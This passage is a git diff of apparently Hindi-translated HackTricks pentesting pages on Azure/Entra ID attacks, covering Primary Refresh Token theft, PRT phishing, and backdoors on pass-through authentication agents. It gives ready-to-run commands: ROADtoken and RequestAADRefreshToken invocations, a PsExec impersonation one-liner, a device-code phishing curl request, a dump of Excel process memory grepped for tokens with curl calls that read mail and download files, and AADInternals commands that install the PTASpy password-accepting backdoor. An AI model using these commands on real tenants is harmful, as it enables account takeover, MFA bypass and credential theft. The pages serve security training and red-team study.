LSASS). +आधुनिक Windows क्लाउड प्रमाणीकरण को एक अंतर्निहित **टोकन ब्रोकर** स्टैक के माध्यम से संभालता है, जिसमें उपयोगकर्ता मोड और LSASS (स्थानीय सुरक्षा प्राधिकरण) दोनों में घटक शामिल हैं। इस आर्किटेक्चर के प्रमुख हिस्से में शामिल हैं: -When an Azure AD joined user tries to access a resource (say, the Azure Portal), the flow is typically: an application calls into WAM or BrowserCore's COM interface, which in turn communicates with LSASS. LSASS uses the PRT and session key (secured by TPM) to produce an **SSO token** -- often called a **PRT cookie** -- which is then given back to the application or browser. The PRT cookie is a special JWT containing the encrypted PRT and a nonce, signed with a key derived from the PRT's session key. This cookie is sent to Azure AD (in an `x-ms-RefreshTokenCredential` header) to prove the device and user hold a valid PRT, allowing Azure AD to issue standard OAuth refresh and access tokens for various applications. Notably, any Multi-Factor Authentication (MFA) claim present in the PRT will be carried into tokens obtained via this SSO process, meaning PRT-derived tokens can satisfy MFA-protected resources. +- **LSASS CloudAP प्लगइन:** जब एक डिवाइस Azure AD से जुड़ा होता है, तो LSASS क्लाउड प्रमाणीकरण पैकेज (जैसे `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) लोड करता है जो PRTs और टोकन अनुरोधों का प्रबंधन करते हैं। LSASS (SYSTEM के रूप में चल रहा) PRT भंडारण, नवीनीकरण और उपयोग का समन्वय करता है, और क्रिप्टोग्राफिक संचालन (जैसे सत्र कुंजी के साथ PRT चुनौती पर हस्ताक्षर करना) करने के लिए TPM के साथ इंटरफेस करता है। -### User-Level Token Theft (Non-Admin) +- **वेब खाता प्रबंधक (WAM):** Windows वेब खाता प्रबंधक एक उपयोगकर्ता-मोड ढांचा है (जो COM/WinRT APIs के माध्यम से सुलभ है) जो अनुप्रयोगों या ब्राउज़रों को प्रमाणीकरण के लिए क्रेडेंशियल्स के लिए पूछे बिना क्लाउड खातों के लिए टोकन अनुरोध करने की अनुमति देता है। WAM उपयोगकर्ता अनुप्रयोगों और सुरक्षित LSASS/TPM-समर्थित PRT के बीच एक ब्रोकर के रूप में कार्य करता है। उदाहरण के लिए, Microsoft's MSAL पुस्तकालय और कुछ OS घटक WAM का उपयोग करके लॉग इन किए गए उपयोगकर्ता के PRT का उपयोग करके चुपचाप टोकन प्राप्त करते हैं। -When an attacker has **user-level code execution**, the TPM protection of PRT doesn't stop the attacker from obtaining tokens. The attacker **leverages built-in Windows Token Broker APIs**: +- **BrowserCore.exe और टोकन ब्रोकर COM इंटरफेस:** ब्राउज़र SSO के लिए, Windows में एक घटक शामिल है जिसे **BrowserCore.exe** कहा जाता है (जो *Windows Security\BrowserCore* के तहत स्थित है)। यह एक मूल संदेश होस्ट है जिसका उपयोग ब्राउज़रों (Edge, Chrome एक एक्सटेंशन के माध्यम से, आदि) द्वारा Azure AD लॉगिन के लिए PRT-व्युत्पन्न SSO टोकन प्राप्त करने के लिए किया जाता है। आंतरिक रूप से, BrowserCore एक COM ऑब्जेक्ट का लाभ उठाता है जो `MicrosoftAccountTokenProvider.dll` द्वारा प्रदान किया जाता है ताकि PRT-आधारित कुकी/टोकन प्राप्त किया जा सके। वास्तव में, यह COM इंटरफेस एक पहले पक्ष का "टोकन ब्रोकर" API है जिसे कोई भी प्रक्रिया जो उपयोगकर्ता के रूप में चल रही है, SSO टोकन प्राप्त करने के लिए कॉल कर सकती है (जब तक उपयोगकर्ता के पास LSASS में एक मान्य PRT है)। + +जब एक Azure AD से जुड़े उपयोगकर्ता किसी संसाधन (मान लीजिए, Azure पोर्टल) तक पहुंचने की कोशिश करता है, तो प्रवाह आमतौर पर इस प्रकार होता है: एक अनुप्रयोग WAM या BrowserCore के COM इंटरफेस में कॉल करता है, जो बदले में LSASS के साथ संवाद करता है। LSASS PRT और सत्र कुंजी (TPM द्वारा सुरक्षित) का उपयोग करके एक **SSO टोकन** उत्पन्न करता है -- जिसे अक्सर **PRT कुकी** कहा जाता है -- जिसे फिर अनुप्रयोग या ब्राउज़र को वापस दिया जाता है। PRT कुकी एक विशेष JWT है जिसमें एन्क्रिप्टेड PRT और एक nonce होता है, जिसे PRT के सत्र कुंजी से निकाली गई कुंजी के साथ हस्ताक्षरित किया जाता है। यह कुकी Azure AD को भेजी जाती है (एक `x-ms-RefreshTokenCredential` हेडर में) यह साबित करने के लिए कि डिवाइस और उपयोगकर्ता के पास एक मान्य PRT है, जिससे Azure AD विभिन्न अनुप्रयोगों के लिए मानक OAuth रिफ्रेश और एक्सेस टोकन जारी कर सकता है। विशेष रूप से, PRT में मौजूद कोई भी मल्टी-फैक्टर प्रमाणीकरण (MFA) दावा इस SSO प्रक्रिया के माध्यम से प्राप्त टोकनों में ले जाया जाएगा, जिसका अर्थ है कि PRT-व्युत्पन्न टोकन MFA-सुरक्षित संसाधनों को संतुष्ट कर सकते हैं। + +### उपयोगकर्ता-स्तरीय टोकन चोरी (गैर-प्रशासक) + +जब एक हमलावर के पास **उपयोगकर्ता-स्तरीय कोड निष्पादन** होता है, तो PRT की TPM सुरक्षा हमलावर को टोकन प्राप्त करने से नहीं रोकती है। हमलावर **बिल्ट-इन Windows टोकन ब्रोकर APIs का लाभ उठाता है**: #### **BrowserCore (MicrosoftAccountTokenProvider COM)** -BrowserCore exposes a COM class (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) to fetch PRT cookies. This COM API is invoked legitimately by browsers (Chrome/Edge extensions) for Azure AD SSO. +BrowserCore एक COM क्लास (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) को PRT कुकीज़ प्राप्त करने के लिए उजागर करता है। इस COM API को Azure AD SSO के लिए ब्राउज़रों (Chrome/Edge एक्सटेंशन) द्वारा वैध रूप से कॉल किया जाता है। - **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)** ```bash @@ -157,17 +187,49 @@ RequestAADRefreshToken.exe --uri https://login.microsoftonline.com *(Azure AD रिफ्रेश टोकन या PRT कुकी लौटाता है)* - **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)** + +ROADtoken **`BrowserCore.exe`** को सही निर्देशिका से चलाएगा और इसका उपयोग **PRT कुकी प्राप्त करने** के लिए करेगा। इस कुकी का उपयोग ROADtools के साथ प्रमाणीकरण करने और **एक स्थायी रिफ्रेश टोकन प्राप्त करने** के लिए किया जा सकता है। + +एक मान्य PRT कुकी उत्पन्न करने के लिए आपको सबसे पहले एक nonce की आवश्यकता है।\ +आप इसे प्राप्त कर सकते हैं: ```bash -ROADtoken.exe --nonce -roadrecon auth --prt-cookie +$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" +$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" + +$Params = @{ +"URI" = $URL +"Method" = "POST" +} +$Body = @{ +"grant_type" = "srv_challenge" +} +$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body +$Result.Nonce +AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA ``` -*(नॉन्स उत्पन्न करता है, PRT कुकी प्राप्त करने के लिए BrowserCore को सक्रिय करता है, फिर इसे ROADtools के माध्यम से भुनाता है)* +या [**roadrecon**](https://github.com/dirkjanm/ROADtools) का उपयोग करके: +```bash +roadrecon auth prt-init +``` +फिर आप [**roadtoken**](https://github.com/dirkjanm/ROADtoken) का उपयोग करके एक नया PRT प्राप्त कर सकते हैं (उपयोगकर्ता के एक प्रक्रिया से हमले के लिए उपकरण में चलाएँ): +```bash +.\ROADtoken.exe +``` +As oneliner: +```bash +Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} +``` +फिर आप **जनित कुकी** का उपयोग **टोकन उत्पन्न** करने के लिए **लॉगिन** करने के लिए Azure AD **Graph** या Microsoft Graph का उपयोग कर सकते हैं: +```bash +# Generate +roadrecon auth --prt-cookie +# Connect +Connect-AzureAD --AadAccessToken --AccountId +``` +### **Web Account Manager (WAM) APIs** -### **वेब खाता प्रबंधक (WAM) एपीआई** - -हमलावर वैध Microsoft प्रमाणीकरण पुस्तकालयों (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) का उपयोग करते हैं जो उपयोगकर्ता-स्तरीय प्रक्रियाओं से चुपचाप TPM-संरक्षित PRT का लाभ उठाकर टोकन प्राप्त करते हैं। - +हमलावर वैध Microsoft प्रमाणीकरण पुस्तकालयों (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) का उपयोग करते हैं जो उपयोगकर्ता-स्तरीय प्रक्रियाओं से चुपचाप TPM-संरक्षित PRT का उपयोग करके टोकन प्राप्त करने के लिए। - **[aadprt](https://posts.specterops.io/)** ```bash @@ -195,13 +257,13 @@ $result.AccessToken ### **उपयोगकर्ता अनुकरण और टोकन पुनर्प्राप्ति** -व्यवस्थापक/SYSTEM अन्य उपयोगकर्ताओं के चल रहे सत्रों का अनुकरण कर सकते हैं ताकि टोकन उत्पन्न करने के लिए BrowserCore या WAM को सक्रिय किया जा सके। +Admin/SYSTEM अन्य उपयोगकर्ताओं के चल रहे सत्रों का अनुकरण कर सकते हैं ताकि टोकन उत्पन्न करने के लिए BrowserCore या WAM को सक्रिय किया जा सके। इसके लिए बस उपयोगकर्ता प्रक्रिया (जैसे, `explorer.exe`) का अनुकरण करें और पिछले अनुभाग में टिप्पणी की गई किसी भी तकनीक का उपयोग करके टोकन ब्रोकर APIs को सक्रिय करें। ### **प्रत्यक्ष LSASS और टोकन ब्रोकर इंटरैक्शन (उन्नत)** -एक व्यवस्थापक अभी भी PRT का दुरुपयोग करने के लिए LSASS के साथ काम कर सकता है: उदाहरण के लिए, एक व्यवस्थापक LSASS में कोड इंजेक्ट कर सकता है या LSASS को टोकन उत्पन्न करने के लिए आंतरिक CloudAP कार्यों को कॉल कर सकता है। डिर्क-जान के शोध ने नोट किया कि एक व्यवस्थापक “क्रिप्टो APIs का उपयोग करके LSASS में PRT कुंजियों के साथ बातचीत कर सकता है”। व्यावहारिक रूप से, इसका मतलब हो सकता है कि LSASS के अपने कार्यों का उपयोग (यदि उपलब्ध हो तो API हुकिंग या RPC जैसी तकनीक के माध्यम से) PRT कुकी उत्पन्न करने के लिए किया जाए। एक और दृष्टिकोण यह है कि किसी भी विंडो का लाभ उठाया जाए जहां सत्र कुंजी मेमोरी में प्रकट हो सकती है - उदाहरण के लिए, PRT नवीनीकरण या डिवाइस पंजीकरण के क्षण में जब इसका उपयोग के लिए अनएन्क्रिप्ट किया गया हो। ऐसे हमले काफी अधिक जटिल और परिस्थितिजन्य होते हैं। एक अधिक सीधा व्यवस्थापक रणनीति मौजूदा टोकन हैंडल या कैश का दुरुपयोग करना है: LSASS हाल ही में जारी किए गए रिफ्रेश टोकन को मेमोरी में कैश करता है (DPAPI के साथ एन्क्रिप्ट किया गया)। एक दृढ़ SYSTEM हमलावर इन DPAPI-संरक्षित टोकनों को निकालने का प्रयास कर सकता है (उपयोगकर्ता की मास्टर कुंजी का उपयोग करके, जिसे एक व्यवस्थापक प्राप्त कर सकता है) ताकि विशिष्ट अनुप्रयोगों के लिए सीधे रिफ्रेश टोकन चुराए जा सकें। हालाँकि, सबसे आसान और सबसे सामान्य विधि अनुकरण और प्रलेखित टोकन ब्रोकर इंटरफेस का उपयोग करना है, क्योंकि ये सुनिश्चित करते हैं कि Azure AD ताजा टोकन जारी करेगा (सभी उचित दावों के साथ) बजाय इसके कि एन्क्रिप्शन को क्रैक करने का प्रयास किया जाए। +एक व्यवस्थापक अभी भी PRT का दुरुपयोग करने के लिए LSASS के साथ काम कर सकता है: उदाहरण के लिए, एक व्यवस्थापक LSASS में कोड इंजेक्ट कर सकता है या LSASS को टोकन उत्पन्न करने के लिए आंतरिक CloudAP कार्यों को कॉल कर सकता है। डिर्क-जान के शोध ने नोट किया कि एक व्यवस्थापक “क्रिप्टो APIs का उपयोग करके LSASS में PRT कुंजियों के साथ इंटरैक्ट कर सकता है”। व्यावहारिक रूप से, इसका मतलब हो सकता है कि LSASS के अपने कार्यों का उपयोग करना (यदि उपलब्ध हो तो API हुकिंग या RPC जैसी तकनीक के माध्यम से) PRT कुकी उत्पन्न करने के लिए। एक और दृष्टिकोण यह है कि किसी भी विंडो का लाभ उठाना जहां सत्र कुंजी मेमोरी में प्रकट हो सकती है - उदाहरण के लिए, PRT नवीनीकरण या डिवाइस पंजीकरण के क्षण में जब इसका उपयोग के लिए एन्क्रिप्ट नहीं किया गया हो। ऐसे हमले काफी अधिक जटिल और परिस्थितिजन्य होते हैं। एक अधिक सीधा व्यवस्थापक रणनीति मौजूदा टोकन हैंडल या कैश का दुरुपयोग करना है: LSASS हाल ही में जारी किए गए रिफ्रेश टोकन को मेमोरी में कैश करता है (DPAPI के साथ एन्क्रिप्ट किया गया)। एक दृढ़ SYSTEM हमलावर इन DPAPI-संरक्षित टोकनों को निकालने का प्रयास कर सकता है (उपयोगकर्ता की मास्टर कुंजी का उपयोग करके, जिसे एक व्यवस्थापक प्राप्त कर सकता है) ताकि विशिष्ट अनुप्रयोगों के लिए सीधे रिफ्रेश टोकन चुराए जा सकें। हालाँकि, सबसे आसान और सबसे सामान्य विधि अनुकरण और प्रलेखित टोकन ब्रोकर इंटरफेस का उपयोग करना है, क्योंकि ये सुनिश्चित करते हैं कि Azure AD ताजा टोकन जारी करेगा (सभी उचित दावों के साथ) बजाय इसके कि एन्क्रिप्शन को क्रैक करने का प्रयास किया जाए। ## PRT फ़िशिंग @@ -217,7 +279,7 @@ $result.AccessToken - **डिवाइस कोड के माध्यम से उपयोगकर्ता प्रमाणीकरण** **ब्रोकर क्लाइंट ID** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) और **DRS स्कोप/संसाधन** (जैसे, **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** या **`https://enrollment.manage.microsoft.com/`**) का उपयोग करके। - **उपयोगकर्ता Entra ID में डिवाइस पंजीकृत कर सकता है** (**डिफ़ॉल्ट: अनुमति दी गई**, लेकिन इसे प्रतिबंधित या कोटा-सीमित किया जा सकता है)। -- **कोई अवरोध CA नीतियाँ नहीं** जो **डिवाइस कोड को अक्षम** करती हैं या **लक्षित ऐप्स के लिए अनुपालन/हाइब्रिड डिवाइस की आवश्यकता** करती हैं (वे PRT जारी करने को रोकेंगी, लेकिन **इसे** संरक्षित ऐप्स तक पहुंचने के लिए **उपयोग करने** से रोकेंगी)। +- **कोई अवरोध CA नीतियाँ नहीं** जो **डिवाइस कोड** को **अक्षम** करती हैं या **लक्षित ऐप्स के लिए अनुपालन/हाइब्रिड डिवाइस** की आवश्यकता होती है (वे PRT जारी करने को रोकेंगी, लेकिन **इसे** संरक्षित ऐप्स तक पहुंचने के लिए **उपयोग करने** से रोकेंगी)। - **हमलावर-नियंत्रित होस्ट** प्रवाह को चलाने और टोकन/डिवाइस कुंजी रखने के लिए। **हमला प्रवाह**: @@ -229,15 +291,15 @@ curl -s -X POST \ -d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \ -d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile" ``` -2. **शिकार Microsoft की साइट पर साइन इन करता है** (वैध UI) और **MFA** पूरा करता है → **हमलावर को DRS-स्कोप वाला रिफ्रेश टोकन** मिलता है Broker क्लाइंट के लिए। +2. **शिकार Microsoft की साइट पर साइन इन करता है** (वैध UI) और **MFA** पूरा करता है → **हमलावर को Broker क्लाइंट के लिए एक DRS-स्कोप वाला रिफ्रेश टोकन प्राप्त होता है**। 3. **उस रिफ्रेश टोकन का उपयोग करके टेनेट में एक धोखाधड़ी डिवाइस रजिस्टर करें** (डिवाइस ऑब्जेक्ट बनाया जाता है और शिकार के साथ लिंक किया जाता है)। 4. **रिफ्रेश टोकन + डिवाइस पहचान/कीज़** का आदान-प्रदान करके **PRT** में **अपग्रेड करें** → **PRT** हमलावर के डिवाइस से बंधा होता है। -5. **(वैकल्पिक स्थायीता)**: यदि MFA ताजा था, तो **Windows Hello for Business की** रजिस्टर करें ताकि **दीर्घकालिक, पासवर्ड रहित पहुंच** बनी रहे। +5. **(वैकल्पिक स्थिरता)**: यदि MFA ताजा था, तो **Windows Hello for Business की एक कुंजी रजिस्टर करें** ताकि **दीर्घकालिक, पासवर्ड रहित पहुंच** बनाए रखी जा सके। -6. **दुरुपयोग**: उपयोगकर्ता के रूप में **एक्सचेंज/ग्राफ/शेयरपॉइंट/टीम्स/कस्टम ऐप्स** के लिए **एक्सेस टोकन** प्राप्त करने के लिए **PRT** (या **PRT कुकी** बनाना) भुनाएं। +6. **दुरुपयोग**: उपयोगकर्ता के रूप में **एक्सचेंज/ग्राफ/शेयरपॉइंट/टीम/कस्टम ऐप्स** के लिए **एक्सेस टोकन** प्राप्त करने के लिए **PRT** (या **PRT कुकी** बनाना) भुनाएं। ### सार्वजनिक उपकरण और प्रमाण-का-धारणा @@ -249,10 +311,10 @@ curl -s -X POST \ ## संदर्भ - [Dirkjan का PRT पर ब्लॉग पोस्ट](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) -- [Dirkjan का PRTs को फ़िशिंग करने पर पोस्ट](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) -- [Dirkjan का PRTs के दुरुपयोग पर पोस्ट](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) +- [Dirkjan का PRT फ़िशिंग पर पोस्ट](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) +- [Dirkjan का PRT के दुरुपयोग पर पोस्ट](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) - SpecterOps पोस्ट पर [Azure AD अनुरोध टोकन का अनुरोध करना](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) -- [AADInternals का PRTs पर पोस्ट](https://aadinternals.com/post/prt/) +- [AADInternals का PRT पर पोस्ट](https://aadinternals.com/post/prt/) - [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md deleted file mode 100644 index 61c1bbf5b..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ /dev/null @@ -1,34 +0,0 @@ -# Az - Processes Memory Access Token - -{{#include ../../../banners/hacktricks-training.md}} - -## **बुनियादी जानकारी** - -जैसा कि [**इस वीडियो**](https://www.youtube.com/watch?v=OHKZkXC4Duw) में समझाया गया है, कुछ Microsoft सॉफ़्टवेयर जो क्लाउड के साथ समन्वयित होते हैं (Excel, Teams...) **स्मृति में स्पष्ट-टेक्स्ट में एक्सेस टोकन स्टोर कर सकते हैं**। इसलिए केवल **प्रक्रिया की स्मृति को डंप करना** और **JWT टोकन के लिए grep करना** आपको क्लाउड में कई संसाधनों तक पहुंच प्रदान कर सकता है, MFA को बायपास करते हुए। - -चरण: - -1. अपने पसंदीदा टूल के साथ EntraID उपयोगकर्ता के साथ समन्वयित एक्सेल प्रक्रियाओं को डंप करें। -2. चलाएँ: `string excel.dmp | grep 'eyJ0'` और आउटपुट में कई टोकन खोजें -3. उन टोकनों को खोजें जो आपको सबसे अधिक रुचिकर लगते हैं और उनके ऊपर टूल चलाएँ: -```bash -# Check the identity of the token -curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq - -# Check the email (you need a token authorized in login.microsoftonline.com) -curl -s -H "Authorization: Bearer " https://outlook.office.com/api/v2.0/me/messages | jq - -# Download a file from Teams -## You need a token that can access graph.microsoft.com -## Then, find the inside the memory and call -curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/sites//drives | jq - -## Then, list one drive -curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sites//drives/' | jq - -## Finally, download a file from that drive: -curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' -``` -**ध्यान दें कि इस प्रकार के एक्सेस टोकन अन्य प्रक्रियाओं के अंदर भी पाए जा सकते हैं।** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md similarity index 85% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md index ca106cf8b..e0fca1edc 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md @@ -4,7 +4,7 @@ ## Basic Information -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra पास-थ्रू प्रमाणीकरण आपके उपयोगकर्ताओं को **एक ही पासवर्ड का उपयोग करके ऑन-प्रिमाइसेस और क्लाउड-आधारित अनुप्रयोगों में साइन इन करने** की अनुमति देता है। यह सुविधा आपके उपयोगकर्ताओं को एक बेहतर अनुभव प्रदान करती है - एक कम पासवर्ड याद रखने के लिए, और आईटी हेल्पडेस्क लागत को कम करती है क्योंकि आपके उपयोगकर्ता साइन इन करना भूलने की संभावना कम होती है। जब उपयोगकर्ता Microsoft Entra ID का उपयोग करके साइन इन करते हैं, तो यह सुविधा उपयोगकर्ताओं के पासवर्ड को सीधे आपके ऑन-प्रिमाइसेस सक्रिय निर्देशिका के खिलाफ मान्य करती है। +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra पास-थ्रू प्रमाणीकरण आपके उपयोगकर्ताओं को **एक ही पासवर्ड का उपयोग करके ऑन-प्रिमाइसेस और क्लाउड-आधारित अनुप्रयोगों में साइन इन करने** की अनुमति देता है। यह सुविधा आपके उपयोगकर्ताओं को एक बेहतर अनुभव प्रदान करती है - याद रखने के लिए एक पासवर्ड कम, और आईटी हेल्पडेस्क लागत को कम करती है क्योंकि आपके उपयोगकर्ता साइन इन करना भूलने की संभावना कम होती है। जब उपयोगकर्ता Microsoft Entra ID का उपयोग करके साइन इन करते हैं, तो यह सुविधा उपयोगकर्ताओं के पासवर्ड को सीधे आपके ऑन-प्रिमाइसेस Active Directory के खिलाफ मान्य करती है। PTA में **पहचानें** **सिंक्रनाइज़** होती हैं लेकिन **पासवर्ड नहीं** होते जैसे कि PHS में। @@ -17,10 +17,10 @@ PTA में **पहचानें** **सिंक्रनाइज़** 1. **लॉगिन** करने के लिए उपयोगकर्ता को **Azure AD** पर पुनर्निर्देशित किया जाता है, जहां वह **उपयोगकर्ता नाम** और **पासवर्ड** भेजता है। 2. **क्रेडेंशियल्स** **एन्क्रिप्ट** होते हैं और Azure AD में एक **क्यू** में सेट होते हैं। 3. **ऑन-प्रिम प्रमाणीकरण एजेंट** क्यू से **क्रेडेंशियल्स** इकट्ठा करता है और उन्हें **डिक्रिप्ट** करता है। इस एजेंट को **"पास-थ्रू प्रमाणीकरण एजेंट"** या **PTA एजेंट** कहा जाता है। -4. **एजेंट** क्रेड्स को **ऑन-प्रिम AD** के खिलाफ **मान्य** करता है और **प्रतिक्रिया** **वापस** Azure AD को भेजता है जो, यदि प्रतिक्रिया सकारात्मक है, तो उपयोगकर्ता का **लॉगिन पूरा** करता है। +4. **एजेंट** क्रेड्स को **ऑन-प्रिम AD** के खिलाफ **मान्य** करता है और **प्रतिक्रिया** **वापस** Azure AD को भेजता है, जो यदि प्रतिक्रिया सकारात्मक है, तो उपयोगकर्ता का **लॉगिन पूरा** करता है। > [!WARNING] -> यदि एक हमलावर **PTA** को **समझौता** करता है, तो वह क्यू से सभी **क्रेडेंशियल्स** को ( **स्पष्ट-टेक्स्ट** में) **देख** सकता है।\ +> यदि एक हमलावर **PTA** को **समझौता** करता है, तो वह क्यू से सभी **क्रेडेंशियल्स** को **देख** सकता है ( **स्पष्ट-टेक्स्ट** में)।\ > वह AzureAD के लिए **किसी भी क्रेडेंशियल्स** को भी **मान्य** कर सकता है (Skeleton key के समान हमला)। ### Enumeration @@ -58,7 +58,7 @@ Get-Service -Name "AzureADConnectAuthenticationAgent" ``` ## Pivoting -यदि आपके पास **Azure AD Connect सर्वर** पर **admin** पहुँच है जहाँ **PTA** **एजेंट** चल रहा है, तो आप **AADInternals** मॉड्यूल का उपयोग करके **एक बैकडोर** **डाल सकते हैं** जो **सभी पासवर्ड** को मान्य करेगा (इसलिए सभी पासवर्ड प्रमाणीकरण के लिए मान्य होंगे): +यदि आपके पास **Azure AD Connect सर्वर** पर **admin** पहुँच है जहाँ **PTA** **एजेंट** चल रहा है, तो आप **AADInternals** मॉड्यूल का उपयोग करके **एक बैकडोर** **डाल सकते हैं** जो **सभी पासवर्ड** को **मान्य** करेगा (तो सभी पासवर्ड प्रमाणीकरण के लिए मान्य होंगे): ```bash Install-Module AADInternals -RequiredVersion 0.9.3 Import-Module AADInternals @@ -77,10 +77,10 @@ Remove-AADIntPTASpy # Remove the backdoor - `PTASpy.dll` को `AzureADConnectAuthenticationAgentService` प्रक्रिया में इंजेक्ट करेगा > [!NOTE] -> जब AzureADConnectAuthenticationAgent सेवा को पुनः प्रारंभ किया जाता है, तो PTASpy "अनलोड" हो जाता है और इसे फिर से स्थापित करना आवश्यक है। +> जब AzureADConnectAuthenticationAgent सेवा को पुनः प्रारंभ किया जाता है, तो PTASpy “अनलोड” हो जाता है और इसे फिर से स्थापित करना आवश्यक है। > [!CAUTION] -> क्लाउड पर **GA विशेषाधिकार** प्राप्त करने के बाद, **एक नया PTA एजेंट पंजीकृत करना** संभव है और **किसी भी पासवर्ड का उपयोग करके प्रमाणित करने के लिए** **पिछले** चरणों को **दोहराना** संभव है और साथ ही, **स्पष्ट पाठ में पासवर्ड प्राप्त करना।** +> क्लाउड पर **GA विशेषाधिकार** प्राप्त करने के बाद, **एक नया PTA एजेंट पंजीकृत करना** संभव है और **किसी भी पासवर्ड** का उपयोग करके **प्रमाणित करने** के लिए **पिछले** चरणों को **दोहराना** संभव है और साथ ही, **स्पष्ट-टेक्स्ट में पासवर्ड प्राप्त करना** भी संभव है। ### Seamless SSO @@ -90,7 +90,7 @@ PTA के साथ Seamless SSO का उपयोग करना संभ seamless-sso.md {{#endref}} -## References +## संदर्भ - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta) - [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md deleted file mode 100644 index bb097198a..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md +++ /dev/null @@ -1,58 +0,0 @@ -# Az AD Connect - Hybrid Identity - -{{#include ../../../../banners/hacktricks-training.md}} - -## Basic Information - -**On-premises Active Directory (AD)** और **Azure AD** के बीच एकीकरण **Azure AD Connect** द्वारा किया जाता है, जो **Single Sign-on (SSO)** का समर्थन करने वाले विभिन्न तरीकों की पेशकश करता है। प्रत्येक विधि, जबकि उपयोगी है, संभावित सुरक्षा कमजोरियों को प्रस्तुत करती है जिन्हें क्लाउड या ऑन-प्रिमाइसेस वातावरण को समझौता करने के लिए उपयोग किया जा सकता है: - -- **Pass-Through Authentication (PTA)**: -- ऑन-प्रिम AD पर एजेंट का संभावित समझौता, Azure कनेक्शनों (ऑन-प्रिम से क्लाउड) के लिए उपयोगकर्ता पासवर्डों की मान्यता की अनुमति देता है। -- एक नए स्थान (क्लाउड से ऑन-प्रिम) में प्रमाणीकरण मान्य करने के लिए एक नए एजेंट को पंजीकृत करने की संभावना। - -{{#ref}} -pta-pass-through-authentication.md -{{#endref}} - -- **Password Hash Sync (PHS)**: -- AD से विशेषाधिकार प्राप्त उपयोगकर्ताओं के स्पष्ट-पाठ पासवर्डों का संभावित निष्कर्षण, जिसमें एक उच्च-विशेषाधिकार प्राप्त, स्व-निर्मित AzureAD उपयोगकर्ता के क्रेडेंशियल शामिल हैं। - -{{#ref}} -phs-password-hash-sync.md -{{#endref}} - -- **Federation**: -- SAML साइनिंग के लिए उपयोग की जाने वाली निजी कुंजी की चोरी, ऑन-प्रिम और क्लाउड पहचान की नकल करने की अनुमति देती है। - -{{#ref}} -federation.md -{{#endref}} - -- **Seamless SSO:** -- `AZUREADSSOACC` उपयोगकर्ता का पासवर्ड चुराना, जिसका उपयोग Kerberos सिल्वर टिकटों पर हस्ताक्षर करने के लिए किया जाता है, किसी भी 